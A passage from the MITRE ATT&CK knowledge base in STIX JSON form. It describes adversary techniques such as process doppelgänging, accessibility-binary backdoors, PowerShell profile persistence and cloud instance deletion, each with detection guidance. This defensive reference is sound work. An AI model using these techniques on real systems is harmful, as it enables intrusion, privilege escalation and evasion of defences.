detection"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197","type":"attack-pattern","created":"2020-01-14T17:19:50.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.013","url":"https://attack.mitre.org/techniques/T1055/013"},{"url":"https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx","description":"Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.","source_name":"Microsoft TxF"},{"url":"https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx","description":"Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.","source_name":"Microsoft Basic TxF Concepts"},{"url":"https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx","description":"Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.","source_name":"Microsoft Where to use TxF"},{"url":"https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf","description":"Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.","source_name":"BlackHat Process Doppelgänging Dec 2017"},{"url":"https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/","description":"hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017.","source_name":"hasherezade Process Doppelgänging Dec 2017"},{"url":"https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx","description":"Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.","source_name":"Microsoft PsSetCreateProcessNotifyRoutine routine"}],"modified":"2021-02-09T15:43:48.848Z","name":"Process Doppelgänging","description":"Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Metadata","Process: OS API Execution"],"x_mitre_defense_bypassed":["Anti-virus","Application control"],"x_mitre_permissions_required":["Administrator","SYSTEM","User"]},{"modified":"2023-07-28T14:40:54.580Z","name":"System Network Configuration Discovery","description":"Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Austin Clark, @c2defense"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.6","x_mitre_data_sources":["Command: Command Execution","Script: Script Execution","Process: Process Creation","Process: OS API Execution"],"type":"attack-pattern","id":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","created":"2017-05-31T21:30:27.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1016","external_id":"T1016"},{"source_name":"Mandiant APT41 Global Intrusion ","description":"Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.","url":"https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits"},{"source_name":"US-CERT-TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-30T13:28:37.415Z","name":"Delete Cloud Instance","description":"An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["IaaS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Instance: Instance Metadata","Instance: Instance Deletion"],"type":"attack-pattern","id":"attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4","created":"2020-06-16T17:23:06.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1578/003","external_id":"T1578.003"},{"source_name":"AWS CloudTrail Search","description":"Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.","url":"https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"},{"source_name":"Cloud Audit Logs","description":"Google. (n.d.). Audit Logs. Retrieved June 1, 2020.","url":"https://cloud.google.com/logging/docs/audit#admin-activity"},{"source_name":"Mandiant M-Trends 2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"},{"source_name":"Azure Activity Logs","description":"Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.","url":"https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-26T18:01:20.520Z","name":"Code Repositories","description":"Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. \n\nAdversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). \n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_platforms":["PRE"],"x_mitre_is_subtechnique":true,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Matt Burrough, @mattburrough, Microsoft","Vinayak Wadhwa, SAFE Security"],"type":"attack-pattern","id":"attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022","created":"2022-08-09T13:01:43.314Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1593/003","external_id":"T1593.003"},{"source_name":"GitHub Cloud Service Credentials","description":"Runa A. Sandvik. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved August 9, 2022.","url":"https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire","Stefan Kanthak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","type":"attack-pattern","created":"2020-03-13T11:12:18.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.005","url":"https://attack.mitre.org/techniques/T1574/005"},{"source_name":"mozilla_sec_adv_2012","url":"https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/","description":"Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017."},{"source_name":"Executable Installers are Vulnerable","url":"https://seclists.org/fulldisclosure/2015/Dec/34","description":"Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."}],"modified":"2020-03-26T19:20:23.030Z","name":"Executable Installer File Permissions Weakness","description":"Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Service: Service Metadata","File: File Modification","File: File Creation","Process: Process Creation","Module: Module Load"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":["Administrator","User","SYSTEM"]},{"modified":"2023-04-21T12:33:18.602Z","name":"Accessibility Features","description":"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Paul Speulstra, AECOM Global Security Operations Center"],"x_mitre_deprecated":false,"x_mitre_detection":"Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","File: File Creation","File: File Modification","Windows Registry: Windows Registry Key Modification"],"x_mitre_effective_permissions":["SYSTEM"],"x_mitre_permissions_required":["Administrator"],"type":"attack-pattern","id":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","created":"2020-01-24T14:32:40.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1546/008","external_id":"T1546.008"},{"source_name":"Narrator Accessibility Abuse","description":"Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020.","url":"https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html"},{"source_name":"FireEye Hikit Rootkit","description":"Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.","url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"},{"source_name":"DEFCON2016 Sticky Keys","description":"Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.","url":"https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"},{"source_name":"Tilbury 2014","description":"Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.","url":"http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T14:59:35.287Z","name":"Bandwidth Hijacking","description":"Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking) Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise.(Citation: Unit 42 Leaked Environment Variables 2024)\n\nIn addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim’s bandwidth is used for illegal activities.(Citation: Sysdig Proxyjacking)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","Windows","macOS","IaaS","Containers"],"x_mitre_version":"1.0","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","File: File Creation","Command: Command Execution","Process: Process Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--718cb208-6446-4572-a2f0-9c799c60091e","created":"2024-09-25T13:44:35.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1496/002","external_id":"T1496.002"},{"source_name":"Sysdig Proxyjacking","description":"Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.","url":"https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"},{"source_name":"Unit 42 Leaked Environment Variables 2024","description":"Margaret Kelley, Sean Johnstone, William Gamazo, and Nathaniel Quist. (2024, August 15). Leaked Environment Variables Allow Large-Scale Extortion Operation in Cloud Environments. Retrieved September 25, 2024.","url":"https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/"},{"source_name":"GoBotKR","description":"Zuzana Hromcová. (2019, July 8). Malicious campaign targets South Korean users with backdoor‑laced torrents. Retrieved March 31, 2022.","url":"https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Allen DeRyke, ICE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a","type":"attack-pattern","created":"2019-06-14T18:53:49.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1504","url":"https://attack.mitre.org/techniques/T1504"},{"source_name":"Microsoft About Profiles","url":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6","description":"Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019."},{"source_name":"ESET Turla PowerShell May 2019","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."},{"source_name":"Wits End and Shady PowerShell Profiles","url":"https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html","description":"DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019."},{"url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.","source_name":"Malware Archaeology PowerShell Cheat Sheet"}],"modified":"2020-01-24T15:11:53.430Z","name":"PowerShell Profile","description":"Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\My Documents\\PowerShell\\Profile.ps1\n* $Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matt Graeber, @mattifestation, SpecterOps"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1198","url":"https://attack.mitre.org/techniques/T1198"},{"url":"https://msdn.microsoft.com/library/ms537359.aspx","description":"Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.","source_name":"Microsoft Authenticode"},{"url":"https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx","description":"Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.","source_name":"Microsoft WinVerifyTrust"},{"url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","source_name":"SpectorOps Subverting Trust Sept 2017"},{"url":"https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/","description":"Navarro, E. (2008, July 11). SIP’s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.","source_name":"EduardosBlog SIPs July 2008"},{"url":"https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files","description":"Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.","source_name":"Microsoft Catalog Files and Signatures April 2017"},{"url":"https://github.com/mattifestation/PoCSubjectInterfacePackage","description":"Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.","source_name":"GitHub SIP POC Sept 2017"},{"url":"http://www.entrust.net/knowledge-base/technote.cfm?tn=8165","description":"Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.","source_name":"Entrust Enable CAPI2 Aug 2017"},{"url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)","description":"Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.","source_name":"Microsoft Registry Auditing Aug 2016"},{"url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)","description":"Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.","source_name":"Microsoft Audit Registry July 2012"}],"modified":"2020-02-05T19:35:58.954Z","name":"SIP and Trust Provider Hijacking","description":"In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft 